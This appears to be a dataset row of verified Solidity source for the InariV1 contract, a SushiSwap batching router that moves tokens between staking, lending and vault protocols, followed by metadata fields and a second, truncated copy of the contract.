function depositToMasterChefv2(uint256 pid, uint256 amount, address to) external {
masterChefv2.deposit(pid, amount, to);
}
function balanceToMasterChefv2(uint256 pid, address to) external {
IERC20 lpToken = masterChefv2.lpToken(pid);
masterChefv2.deposit(pid, lpToken.safeBalanceOfSelf(), to);
}
/// @notice Liquidity zap into CHEF.
function zapToMasterChef(
address to,
address _FromTokenContractAddress,
uint256 _amount,
uint256 _minPoolTokens,
uint256 pid,
address _swapTarget,
bytes calldata swapData
) external payable returns (uint256 LPBought) {
uint256 toInvest = _pullTokens(
_FromTokenContractAddress,
_amount
);
IERC20 _pairAddress = masterChefv2.lpToken(pid);
LPBought = _performZapIn(
_FromTokenContractAddress,
address(_pairAddress),
toInvest,
_swapTarget,
swapData
);
require(LPBought >= _minPoolTokens, "ERR: High Slippage");
emit ZapIn(to, address(_pairAddress), LPBought);
masterChefv2.deposit(pid, LPBought, to);
}
/************
KASHI HELPERS
************/
function assetToKashi(IKashiBridge kashiPair, address to, uint256 amount) external returns (uint256 fraction) {
IERC20 asset = kashiPair.asset();
asset.safeTransferFrom(msg.sender, address(bento), amount);
IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), amount, 0);
fraction = kashiPair.addAsset(to, true, amount);
}
function assetToKashiChef(uint256 pid, uint256 amount, address to) external returns (uint256 fraction) {
address kashiPair = address(masterChefv2.lpToken(pid));
IERC20 asset = IKashiBridge(kashiPair).asset();
asset.safeTransferFrom(msg.sender, address(bento), amount);
IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), amount, 0);
fraction = IKashiBridge(kashiPair).addAsset(address(this), true, amount);
masterChefv2.deposit(pid, fraction, to);
}
function assetBalanceToKashi(IKashiBridge kashiPair, address to) external returns (uint256 fraction) {
IERC20 asset = kashiPair.asset();
uint256 balance = asset.safeBalanceOfSelf();
IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), balance, 0);
fraction = kashiPair.addAsset(to, true, balance);
}
function assetBalanceToKashiChef(uint256 pid, address to) external returns (uint256 fraction) {
address kashiPair = address(masterChefv2.lpToken(pid));
IERC20 asset = IKashiBridge(kashiPair).asset();
uint256 balance = asset.safeBalanceOfSelf();
IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), balance, 0);
fraction = IKashiBridge(kashiPair).addAsset(address(this), true, balance);
masterChefv2.deposit(pid, fraction, to);
}
function assetBalanceFromKashi(address kashiPair, address to) external returns (uint256 share) {
share = IKashiBridge(kashiPair).removeAsset(to, IERC20(kashiPair).safeBalanceOfSelf());
}
/// @notice Liquidity zap into KASHI.
function zapToKashi(
address to,
address _FromTokenContractAddress,
IKashiBridge kashiPair,
uint256 _amount,
uint256 _minPoolTokens,
address _swapTarget,
bytes calldata swapData
) external payable returns (uint256 fraction) {
uint256 toInvest = _pullTokens(
_FromTokenContractAddress,
_amount
);
IERC20 _pairAddress = kashiPair.asset();
uint256 LPBought = _performZapIn(
_FromTokenContractAddress,
address(_pairAddress),
toInvest,
_swapTarget,
swapData
);
require(LPBought >= _minPoolTokens, "ERR: High Slippage");
emit ZapIn(to, address(_pairAddress), LPBought);
_pairAddress.safeTransfer(address(bento), LPBought);
IBentoBridge(bento).deposit(_pairAddress, address(bento), address(kashiPair), LPBought, 0);
fraction = kashiPair.addAsset(to, true, LPBought);
}
/*
██ ██ ▄ ▄███▄
█ █ █ █ █ █▀ ▀
█▄▄█ █▄▄█ █ █ ██▄▄
█ █ █ █ █ █ █▄ ▄▀
█ █ █ █ ▀███▀
█ █ █▐
▀ ▀ ▐ */
/***********
AAVE HELPERS
***********/
function balanceToAave(address underlying, address to) external {
aave.deposit(underlying, IERC20(underlying).safeBalanceOfSelf(), to, 0);
}
function balanceFromAave(address aToken, address to) external {
address underlying = IAaveBridge(aToken).UNDERLYING_ASSET_ADDRESS(); // sanity check for `underlying` token
aave.withdraw(underlying, IERC20(aToken).safeBalanceOfSelf(), to);
}
/**************************
AAVE -> UNDERLYING -> BENTO
**************************/
/// @notice Migrate AAVE `aToken` underlying `amount` into BENTO for benefit of `to` by batching calls to `aave` and `bento`.
function aaveToBento(address aToken, address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
IERC20(aToken).safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` `aToken` `amount` into this contract
address underlying = IAaveBridge(aToken).UNDERLYING_ASSET_ADDRESS(); // sanity check for `underlying` token
aave.withdraw(underlying, amount, address(bento)); // burn deposited `aToken` from `aave` into `underlying`
(amountOut, shareOut) = bento.deposit(IERC20(underlying), address(bento), to, amount, 0); // stake `underlying` into BENTO for `to`
}
/**************************
BENTO -> UNDERLYING -> AAVE
**************************/
/// @notice Migrate `underlying` `amount` from BENTO into AAVE for benefit of `to` by batching calls to `bento` and `aave`.
function bentoToAave(IERC20 underlying, address to, uint256 amount) external {
bento.withdraw(underlying, msg.sender, address(this), amount, 0); // withdraw `amount` of `underlying` from BENTO into this contract
aave.deposit(address(underlying), amount, to, 0); // stake `underlying` into `aave` for `to`
}
/*************************
AAVE -> UNDERLYING -> COMP
*************************/
/// @notice Migrate AAVE `aToken` underlying `amount` into COMP/CREAM `cToken` for benefit of `to` by batching calls to `aave` and `cToken`.
function aaveToCompound(address aToken, address cToken, address to, uint256 amount) external {
IERC20(aToken).safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` `aToken` `amount` into this contract
address underlying = IAaveBridge(aToken).UNDERLYING_ASSET_ADDRESS(); // sanity check for `underlying` token
aave.withdraw(underlying, amount, address(this)); // burn deposited `aToken` from `aave` into `underlying`
ICompoundBridge(cToken).mint(amount); // stake `underlying` into `cToken`
IERC20(cToken).safeTransfer(to, IERC20(cToken).safeBalanceOfSelf()); // transfer resulting `cToken` to `to`
}
/*************************
COMP -> UNDERLYING -> AAVE
*************************/
/// @notice Migrate COMP/CREAM `cToken` underlying `amount` into AAVE for benefit of `to` by batching calls to `cToken` and `aave`.
function compoundToAave(address cToken, address to, uint256 amount) external {
IERC20(cToken).safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` `cToken` `amount` into this contract
ICompoundBridge(cToken).redeem(amount); // burn deposited `cToken` into `underlying`
address underlying = ICompoundBridge(cToken).underlying(); // sanity check for `underlying` token
aave.deposit(underlying, IERC20(underlying).safeBalanceOfSelf(), to, 0); // stake resulting `underlying` into `aave` for `to`
}
/**********************
SUSHI -> XSUSHI -> AAVE
**********************/
/// @notice Stake SUSHI `amount` into aXSUSHI for benefit of `to` by batching calls to `sushiBar` and `aave`.
function stakeSushiToAave(address to, uint256 amount) external { // SAAVE
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI into `sushiBar` xSUSHI
aave.deposit(sushiBar, IERC20(sushiBar).safeBalanceOfSelf(), to, 0); // stake resulting xSUSHI into `aave` aXSUSHI for `to`
}
/**********************
AAVE -> XSUSHI -> SUSHI
**********************/
/// @notice Unstake aXSUSHI `amount` into SUSHI for benefit of `to` by batching calls to `aave` and `sushiBar`.
function unstakeSushiFromAave(address to, uint256 amount) external {
aaveSushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` aXSUSHI `amount` into this contract
aave.withdraw(sushiBar, amount, address(this)); // burn deposited aXSUSHI from `aave` into xSUSHI
ISushiBarBridge(sushiBar).leave(amount); // burn resulting xSUSHI from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/*
███ ▄███▄ ▄ ▄▄▄▄▀ ████▄
█ █ █▀ ▀ █ ▀▀▀ █ █ █
█ ▀ ▄ ██▄▄ ██ █ █ █ █
█ ▄▀ █▄ ▄▀ █ █ █ █ ▀████
███ ▀███▀ █ █ █ ▀
█ ██ */
/************
BENTO HELPERS
************/
function balanceToBento(IERC20 token, address to) external returns (uint256 amountOut, uint256 shareOut) {
(amountOut, shareOut) = bento.deposit(token, address(this), to, token.safeBalanceOfSelf(), 0);
}
/// @dev Included to be able to approve `bento` in the same transaction (using `batch()`).
function setBentoApproval(
address user,
address masterContract,
bool approved,
uint8 v,
bytes32 r,
bytes32 s
) external {
bento.setMasterContractApproval(user, masterContract, approved, v, r, s);
}
/// @notice Liquidity zap into BENTO.
function zapToBento(
address to,
address _FromTokenContractAddress,
address _pairAddress,
uint256 _amount,
uint256 _minPoolTokens,
address _swapTarget,
bytes calldata swapData
) external payable returns (uint256 LPBought) {
uint256 toInvest = _pullTokens(
_FromTokenContractAddress,
_amount
);
LPBought = _performZapIn(
_FromTokenContractAddress,
_pairAddress,
toInvest,
_swapTarget,
swapData
);
require(LPBought >= _minPoolTokens, "ERR: High Slippage");
emit ZapIn(to, _pairAddress, LPBought);
bento.deposit(IERC20(_pairAddress), address(this), to, LPBought, 0);
}
/// @notice Liquidity unzap from BENTO.
function zapFromBento(
address pair,
address to,
uint256 amount
) external returns (uint256 amount0, uint256 amount1) {
bento.withdraw(IERC20(pair), msg.sender, pair, amount, 0); // withdraw `amount` to `pair` from BENTO
(amount0, amount1) = ISushiSwap(pair).burn(to); // trigger burn to redeem liquidity for `to`
}
/***********************
SUSHI -> XSUSHI -> BENTO
***********************/
/// @notice Stake SUSHI `amount` into BENTO xSUSHI for benefit of `to` by batching calls to `sushiBar` and `bento`.
function stakeSushiToBento(address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI into `sushiBar` xSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(sushiBar), address(this), to, IERC20(sushiBar).safeBalanceOfSelf(), 0); // stake resulting xSUSHI into BENTO for `to`
}
/***********************
BENTO -> XSUSHI -> SUSHI
***********************/
/// @notice Unstake xSUSHI `amount` from BENTO into SUSHI for benefit of `to` by batching calls to `bento` and `sushiBar`.
function unstakeSushiFromBento(address to, uint256 amount) external {
bento.withdraw(IERC20(sushiBar), msg.sender, address(this), amount, 0); // withdraw `amount` of xSUSHI from BENTO into this contract
ISushiBarBridge(sushiBar).leave(amount); // burn withdrawn xSUSHI from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/*
▄█▄ █▄▄▄▄ ▄███▄ ██ █▀▄▀█
█▀ ▀▄ █ ▄▀ █▀ ▀ █ █ █ █ █
█ ▀ █▀▀▌ ██▄▄ █▄▄█ █ ▄ █
█▄ ▄▀ █ █ █▄ ▄▀ █ █ █ █
▀███▀ █ ▀███▀ █ █
▀ █ ▀
▀ */
// - COMPOUND - //
/***********
COMP HELPERS
***********/
function balanceToCompound(ICompoundBridge cToken) external {
IERC20 underlying = IERC20(ICompoundBridge(cToken).underlying()); // sanity check for `underlying` token
cToken.mint(underlying.safeBalanceOfSelf());
}
function balanceFromCompound(address cToken) external {
ICompoundBridge(cToken).redeem(IERC20(cToken).safeBalanceOfSelf());
}
/**************************
COMP -> UNDERLYING -> BENTO
**************************/
/// @notice Migrate COMP/CREAM `cToken` `cTokenAmount` into underlying and BENTO for benefit of `to` by batching calls to `cToken` and `bento`.
function compoundToBento(address cToken, address to, uint256 cTokenAmount) external returns (uint256 amountOut, uint256 shareOut) {
IERC20(cToken).safeTransferFrom(msg.sender, address(this), cTokenAmount); // deposit `msg.sender` `cToken` `cTokenAmount` into this contract
ICompoundBridge(cToken).redeem(cTokenAmount); // burn deposited `cToken` into `underlying`
IERC20 underlying = IERC20(ICompoundBridge(cToken).underlying()); // sanity check for `underlying` token
(amountOut, shareOut) = bento.deposit(underlying, address(this), to, underlying.safeBalanceOfSelf(), 0); // stake resulting `underlying` into BENTO for `to`
}
/**************************
BENTO -> UNDERLYING -> COMP
**************************/
/// @notice Migrate `cToken` `underlyingAmount` from BENTO into COMP/CREAM for benefit of `to` by batching calls to `bento` and `cToken`.
function bentoToCompound(address cToken, address to, uint256 underlyingAmount) external {
IERC20 underlying = IERC20(ICompoundBridge(cToken).underlying()); // sanity check for `underlying` token
bento.withdraw(underlying, msg.sender, address(this), underlyingAmount, 0); // withdraw `underlyingAmount` of `underlying` from BENTO into this contract
ICompoundBridge(cToken).mint(underlyingAmount); // stake `underlying` into `cToken`
IERC20(cToken).safeTransfer(to, IERC20(cToken).safeBalanceOfSelf()); // transfer resulting `cToken` to `to`
}
/**********************
SUSHI -> CREAM -> BENTO
**********************/
/// @notice Stake SUSHI `amount` into crSUSHI and BENTO for benefit of `to` by batching calls to `crSushiToken` and `bento`.
function sushiToCreamToBento(address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ICompoundBridge(crSushiToken).mint(amount); // stake deposited SUSHI into crSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(crSushiToken), address(this), to, IERC20(crSushiToken).safeBalanceOfSelf(), 0); // stake resulting crSUSHI into BENTO for `to`
}
/**********************
BENTO -> CREAM -> SUSHI
**********************/
/// @notice Unstake crSUSHI `cTokenAmount` into SUSHI from BENTO for benefit of `to` by batching calls to `bento` and `crSushiToken`.
function sushiFromCreamFromBento(address to, uint256 cTokenAmount) external {
bento.withdraw(IERC20(crSushiToken), msg.sender, address(this), cTokenAmount, 0); // withdraw `cTokenAmount` of `crSushiToken` from BENTO into this contract
ICompoundBridge(crSushiToken).redeem(cTokenAmount); // burn deposited `crSushiToken` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/***********************
SUSHI -> XSUSHI -> CREAM
***********************/
/// @notice Stake SUSHI `amount` into crXSUSHI for benefit of `to` by batching calls to `sushiBar` and `crXSushiToken`.
function stakeSushiToCream(address to, uint256 amount) external { // SCREAM
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI `amount` into `sushiBar` xSUSHI
ICompoundBridge(crXSushiToken).mint(IERC20(sushiBar).safeBalanceOfSelf()); // stake resulting xSUSHI into crXSUSHI
IERC20(crXSushiToken).safeTransfer(to, IERC20(crXSushiToken).safeBalanceOfSelf()); // transfer resulting crXSUSHI to `to`
}
/***********************
CREAM -> XSUSHI -> SUSHI
***********************/
/// @notice Unstake crXSUSHI `cTokenAmount` into SUSHI for benefit of `to` by batching calls to `crXSushiToken` and `sushiBar`.
function unstakeSushiFromCream(address to, uint256 cTokenAmount) external {
IERC20(crXSushiToken).safeTransferFrom(msg.sender, address(this), cTokenAmount); // deposit `msg.sender` `crXSushiToken` `cTokenAmount` into this contract
ICompoundBridge(crXSushiToken).redeem(cTokenAmount); // burn deposited `crXSushiToken` `cTokenAmount` into xSUSHI
ISushiBarBridge(sushiBar).leave(IERC20(sushiBar).safeBalanceOfSelf()); // burn resulting xSUSHI `amount` from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/********************************
SUSHI -> XSUSHI -> CREAM -> BENTO
********************************/
/// @notice Stake SUSHI `amount` into crXSUSHI and BENTO for benefit of `to` by batching calls to `sushiBar`, `crXSushiToken` and `bento`.
function stakeSushiToCreamToBento(address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI `amount` into `sushiBar` xSUSHI
ICompoundBridge(crXSushiToken).mint(IERC20(sushiBar).safeBalanceOfSelf()); // stake resulting xSUSHI into crXSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(crXSushiToken), address(this), to, IERC20(crXSushiToken).safeBalanceOfSelf(), 0); // stake resulting crXSUSHI into BENTO for `to`
}
/********************************
BENTO -> CREAM -> XSUSHI -> SUSHI
********************************/
/// @notice Unstake crXSUSHI `cTokenAmount` into SUSHI from BENTO for benefit of `to` by batching calls to `bento`, `crXSushiToken` and `sushiBar`.
function unstakeSushiFromCreamFromBento(address to, uint256 cTokenAmount) external {
bento.withdraw(IERC20(crXSushiToken), msg.sender, address(this), cTokenAmount, 0); // withdraw `cTokenAmount` of `crXSushiToken` from BENTO into this contract
ICompoundBridge(crXSushiToken).redeem(cTokenAmount); // burn deposited `crXSushiToken` `cTokenAmount` into xSUSHI
ISushiBarBridge(sushiBar).leave(IERC20(sushiBar).safeBalanceOfSelf()); // burn resulting xSUSHI from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/*
▄▄▄▄▄ ▄ ▄ ██ █ ▄▄
█ ▀▄ █ █ █ █ █ █
▄ ▀▀▀▀▄ █ ▄ █ █▄▄█ █▀▀▀
▀▄▄▄▄▀ █ █ █ █ █ █
█ █ █ █ █
▀ ▀ █ ▀
▀ */
/// @notice Fallback for received ETH - SushiSwap ETH to stake SUSHI into xSUSHI and BENTO for benefit of `to`.
receive() external payable { // INARIZUSHI
(uint256 reserve0, uint256 reserve1, ) = sushiSwapSushiETHPair.getReserves();
uint256 amountInWithFee = msg.value.mul(997);
uint256 out =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
IWETH(wETH).deposit{value: msg.value}();
IERC20(wETH).safeTransfer(address(sushiSwapSushiETHPair), msg.value);
sushiSwapSushiETHPair.swap(out, 0, address(this), "");
ISushiBarBridge(sushiBar).enter(sushiToken.safeBalanceOfSelf()); // stake resulting SUSHI into `sushiBar` xSUSHI
bento.deposit(IERC20(sushiBar), address(this), msg.sender, IERC20(sushiBar).safeBalanceOfSelf(), 0); // stake resulting xSUSHI into BENTO for `to`
}
/// @notice SushiSwap ETH to stake SUSHI into xSUSHI and BENTO for benefit of `to`.
function inariZushi(address to) external payable returns (uint256 amountOut, uint256 shareOut) {
(uint256 reserve0, uint256 reserve1, ) = sushiSwapSushiETHPair.getReserves();
uint256 amountInWithFee = msg.value.mul(997);
uint256 out =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
IWETH(wETH).deposit{value: msg.value}();
IERC20(wETH).safeTransfer(address(sushiSwapSushiETHPair), msg.value);
sushiSwapSushiETHPair.swap(out, 0, address(this), "");
ISushiBarBridge(sushiBar).enter(sushiToken.safeBalanceOfSelf()); // stake resulting SUSHI into `sushiBar` xSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(sushiBar), address(this), to, IERC20(sushiBar).safeBalanceOfSelf(), 0); // stake resulting xSUSHI into BENTO for `to`
}
/// @notice Simple SushiSwap `fromToken` `amountIn` to `toToken` for benefit of `to`.
function swap(address fromToken, address toToken, address to, uint256 amountIn) external returns (uint256 amountOut) {
(address token0, address token1) = fromToken < toToken ? (fromToken, toToken) : (toToken, fromToken);
ISushiSwap pair =
ISushiSwap(
uint256(
keccak256(abi.encodePacked(hex"ff", sushiSwapFactory, keccak256(abi.encodePacked(token0, token1)), pairCodeHash))
)
);
(uint256 reserve0, uint256 reserve1, ) = pair.getReserves();
uint256 amountInWithFee = amountIn.mul(997);
IERC20(fromToken).safeTransferFrom(msg.sender, address(pair), amountIn);
if (toToken > fromToken) {
amountOut =
amountInWithFee.mul(reserve1) /
reserve0.mul(1000).add(amountInWithFee);
pair.swap(0, amountOut, to, "");
} else {
amountOut =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
pair.swap(amountOut, 0, to, "");
}
}
/// @notice Simple SushiSwap local `fromToken` balance in this contract to `toToken` for benefit of `to`.
function swapBalance(address fromToken, address toToken, address to) external returns (uint256 amountOut) {
(address token0, address token1) = fromToken < toToken ? (fromToken, toToken) : (toToken, fromToken);
ISushiSwap pair =
ISushiSwap(
uint256(
keccak256(abi.encodePacked(hex"ff", sushiSwapFactory, keccak256(abi.encodePacked(token0, token1)), pairCodeHash))
)
);
uint256 amountIn = IERC20(fromToken).safeBalanceOfSelf();
(uint256 reserve0, uint256 reserve1, ) = pair.getReserves();
uint256 amountInWithFee = amountIn.mul(997);
IERC20(fromToken).safeTransfer(address(pair), amountIn);
if (toToken > fromToken) {
amountOut =
amountInWithFee.mul(reserve1) /
reserve0.mul(1000).add(amountInWithFee);
pair.swap(0, amountOut, to, "");
} else {
amountOut =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
pair.swap(amountOut, 0, to, "");
}
}
} | /// @notice Contract that batches SUSHI staking and DeFi strategies - V1 'iroirona'. | NatSpecSingleLine | zapToKashi | function zapToKashi(
address to,
address _FromTokenContractAddress,
IKashiBridge kashiPair,
uint256 _amount,
uint256 _minPoolTokens,
address _swapTarget,
bytes calldata swapData
) external payable returns (uint256 fraction) {
uint256 toInvest = _pullTokens(
_FromTokenContractAddress,
_amount
);
IERC20 _pairAddress = kashiPair.asset();
uint256 LPBought = _performZapIn(
_FromTokenContractAddress,
address(_pairAddress),
toInvest,
_swapTarget,
swapData
);
require(LPBought >= _minPoolTokens, "ERR: High Slippage");
emit ZapIn(to, address(_pairAddress), LPBought);
_pairAddress.safeTransfer(address(bento), LPBought);
IBentoBridge(bento).deposit(_pairAddress, address(bento), address(kashiPair), LPBought, 0);
fraction = kashiPair.addAsset(to, true, LPBought);
}
| /// @notice Liquidity zap into KASHI. | NatSpecSingleLine | v0.7.6+commit.7338295f | GNU GPLv2 | ipfs://89a5125d850fb87a89b52e2cb580c7d062e507e61b962188e0983cbea998b8cd | {
"func_code_index": [
5566,
6587
]
} | 11,777 |
InariV1 | @boringcrypto/boring-solidity/contracts/BoringBatchable.sol | 0x195e8262aa81ba560478ec6ca4da73745547073f | Solidity | InariV1 | contract InariV1 is BoringBatchableWithDai, SushiZap {
using SafeMath for uint256;
using BoringERC20 for IERC20;
IERC20 constant sushiToken = IERC20(0x6B3595068778DD592e39A122f4f5a5cF09C90fE2); // SUSHI token contract
address constant sushiBar = 0x8798249c2E607446EfB7Ad49eC89dD1865Ff4272; // xSUSHI staking contract for SUSHI
ISushiSwap constant sushiSwapSushiETHPair = ISushiSwap(0x795065dCc9f64b5614C407a6EFDC400DA6221FB0); // SUSHI/ETH pair on SushiSwap
IMasterChefV2 constant masterChefv2 = IMasterChefV2(0xEF0881eC094552b2e128Cf945EF17a6752B4Ec5d); // SUSHI MasterChef v2 contract
IAaveBridge constant aave = IAaveBridge(0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9); // AAVE lending pool contract for xSUSHI staking into aXSUSHI
IERC20 constant aaveSushiToken = IERC20(0xF256CC7847E919FAc9B808cC216cAc87CCF2f47a); // aXSUSHI staking contract for xSUSHI
IBentoBridge constant bento = IBentoBridge(0xF5BCE5077908a1b7370B9ae04AdC565EBd643966); // BENTO vault contract
address constant crSushiToken = 0x338286C0BC081891A4Bda39C7667ae150bf5D206; // crSUSHI staking contract for SUSHI
address constant crXSushiToken = 0x228619CCa194Fbe3Ebeb2f835eC1eA5080DaFbb2; // crXSUSHI staking contract for xSUSHI
/// @notice Initialize this Inari contract.
constructor() {
bento.registerProtocol(); // register this contract with BENTO
}
/// @notice Helper function to approve this contract to spend tokens and enable strategies.
function bridgeToken(IERC20[] calldata token, address[] calldata to) external {
for (uint256 i = 0; i < token.length; i++) {
token[i].safeApprove(to[i], type(uint256).max); // max approve `to` spender to pull `token` from this contract
}
}
/**********
TKN HELPERS
**********/
function withdrawToken(IERC20 token, address to, uint256 amount) external {
token.safeTransfer(to, amount);
}
function withdrawTokenBalance(IERC20 token, address to) external {
token.safeTransfer(to, token.safeBalanceOfSelf());
}
/***********
CHEF HELPERS
***********/
function depositToMasterChefv2(uint256 pid, uint256 amount, address to) external {
masterChefv2.deposit(pid, amount, to);
}
function balanceToMasterChefv2(uint256 pid, address to) external {
IERC20 lpToken = masterChefv2.lpToken(pid);
masterChefv2.deposit(pid, lpToken.safeBalanceOfSelf(), to);
}
/// @notice Liquidity zap into CHEF.
function zapToMasterChef(
address to,
address _FromTokenContractAddress,
uint256 _amount,
uint256 _minPoolTokens,
uint256 pid,
address _swapTarget,
bytes calldata swapData
) external payable returns (uint256 LPBought) {
uint256 toInvest = _pullTokens(
_FromTokenContractAddress,
_amount
);
IERC20 _pairAddress = masterChefv2.lpToken(pid);
LPBought = _performZapIn(
_FromTokenContractAddress,
address(_pairAddress),
toInvest,
_swapTarget,
swapData
);
require(LPBought >= _minPoolTokens, "ERR: High Slippage");
emit ZapIn(to, address(_pairAddress), LPBought);
masterChefv2.deposit(pid, LPBought, to);
}
/************
KASHI HELPERS
************/
function assetToKashi(IKashiBridge kashiPair, address to, uint256 amount) external returns (uint256 fraction) {
IERC20 asset = kashiPair.asset();
asset.safeTransferFrom(msg.sender, address(bento), amount);
IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), amount, 0);
fraction = kashiPair.addAsset(to, true, amount);
}
function assetToKashiChef(uint256 pid, uint256 amount, address to) external returns (uint256 fraction) {
address kashiPair = address(masterChefv2.lpToken(pid));
IERC20 asset = IKashiBridge(kashiPair).asset();
asset.safeTransferFrom(msg.sender, address(bento), amount);
IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), amount, 0);
fraction = IKashiBridge(kashiPair).addAsset(address(this), true, amount);
masterChefv2.deposit(pid, fraction, to);
}
function assetBalanceToKashi(IKashiBridge kashiPair, address to) external returns (uint256 fraction) {
IERC20 asset = kashiPair.asset();
uint256 balance = asset.safeBalanceOfSelf();
IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), balance, 0);
fraction = kashiPair.addAsset(to, true, balance);
}
function assetBalanceToKashiChef(uint256 pid, address to) external returns (uint256 fraction) {
address kashiPair = address(masterChefv2.lpToken(pid));
IERC20 asset = IKashiBridge(kashiPair).asset();
uint256 balance = asset.safeBalanceOfSelf();
IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), balance, 0);
fraction = IKashiBridge(kashiPair).addAsset(address(this), true, balance);
masterChefv2.deposit(pid, fraction, to);
}
function assetBalanceFromKashi(address kashiPair, address to) external returns (uint256 share) {
share = IKashiBridge(kashiPair).removeAsset(to, IERC20(kashiPair).safeBalanceOfSelf());
}
/// @notice Liquidity zap into KASHI.
function zapToKashi(
address to,
address _FromTokenContractAddress,
IKashiBridge kashiPair,
uint256 _amount,
uint256 _minPoolTokens,
address _swapTarget,
bytes calldata swapData
) external payable returns (uint256 fraction) {
uint256 toInvest = _pullTokens(
_FromTokenContractAddress,
_amount
);
IERC20 _pairAddress = kashiPair.asset();
uint256 LPBought = _performZapIn(
_FromTokenContractAddress,
address(_pairAddress),
toInvest,
_swapTarget,
swapData
);
require(LPBought >= _minPoolTokens, "ERR: High Slippage");
emit ZapIn(to, address(_pairAddress), LPBought);
_pairAddress.safeTransfer(address(bento), LPBought);
IBentoBridge(bento).deposit(_pairAddress, address(bento), address(kashiPair), LPBought, 0);
fraction = kashiPair.addAsset(to, true, LPBought);
}
/*
██ ██ ▄ ▄███▄
█ █ █ █ █ █▀ ▀
█▄▄█ █▄▄█ █ █ ██▄▄
█ █ █ █ █ █ █▄ ▄▀
█ █ █ █ ▀███▀
█ █ █▐
▀ ▀ ▐ */
/***********
AAVE HELPERS
***********/
function balanceToAave(address underlying, address to) external {
aave.deposit(underlying, IERC20(underlying).safeBalanceOfSelf(), to, 0);
}
function balanceFromAave(address aToken, address to) external {
address underlying = IAaveBridge(aToken).UNDERLYING_ASSET_ADDRESS(); // sanity check for `underlying` token
aave.withdraw(underlying, IERC20(aToken).safeBalanceOfSelf(), to);
}
/**************************
AAVE -> UNDERLYING -> BENTO
**************************/
/// @notice Migrate AAVE `aToken` underlying `amount` into BENTO for benefit of `to` by batching calls to `aave` and `bento`.
function aaveToBento(address aToken, address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
IERC20(aToken).safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` `aToken` `amount` into this contract
address underlying = IAaveBridge(aToken).UNDERLYING_ASSET_ADDRESS(); // sanity check for `underlying` token
aave.withdraw(underlying, amount, address(bento)); // burn deposited `aToken` from `aave` into `underlying`
(amountOut, shareOut) = bento.deposit(IERC20(underlying), address(bento), to, amount, 0); // stake `underlying` into BENTO for `to`
}
/**************************
BENTO -> UNDERLYING -> AAVE
**************************/
/// @notice Migrate `underlying` `amount` from BENTO into AAVE for benefit of `to` by batching calls to `bento` and `aave`.
function bentoToAave(IERC20 underlying, address to, uint256 amount) external {
bento.withdraw(underlying, msg.sender, address(this), amount, 0); // withdraw `amount` of `underlying` from BENTO into this contract
aave.deposit(address(underlying), amount, to, 0); // stake `underlying` into `aave` for `to`
}
/*************************
AAVE -> UNDERLYING -> COMP
*************************/
/// @notice Migrate AAVE `aToken` underlying `amount` into COMP/CREAM `cToken` for benefit of `to` by batching calls to `aave` and `cToken`.
function aaveToCompound(address aToken, address cToken, address to, uint256 amount) external {
IERC20(aToken).safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` `aToken` `amount` into this contract
address underlying = IAaveBridge(aToken).UNDERLYING_ASSET_ADDRESS(); // sanity check for `underlying` token
aave.withdraw(underlying, amount, address(this)); // burn deposited `aToken` from `aave` into `underlying`
ICompoundBridge(cToken).mint(amount); // stake `underlying` into `cToken`
IERC20(cToken).safeTransfer(to, IERC20(cToken).safeBalanceOfSelf()); // transfer resulting `cToken` to `to`
}
/*************************
COMP -> UNDERLYING -> AAVE
*************************/
/// @notice Migrate COMP/CREAM `cToken` underlying `amount` into AAVE for benefit of `to` by batching calls to `cToken` and `aave`.
function compoundToAave(address cToken, address to, uint256 amount) external {
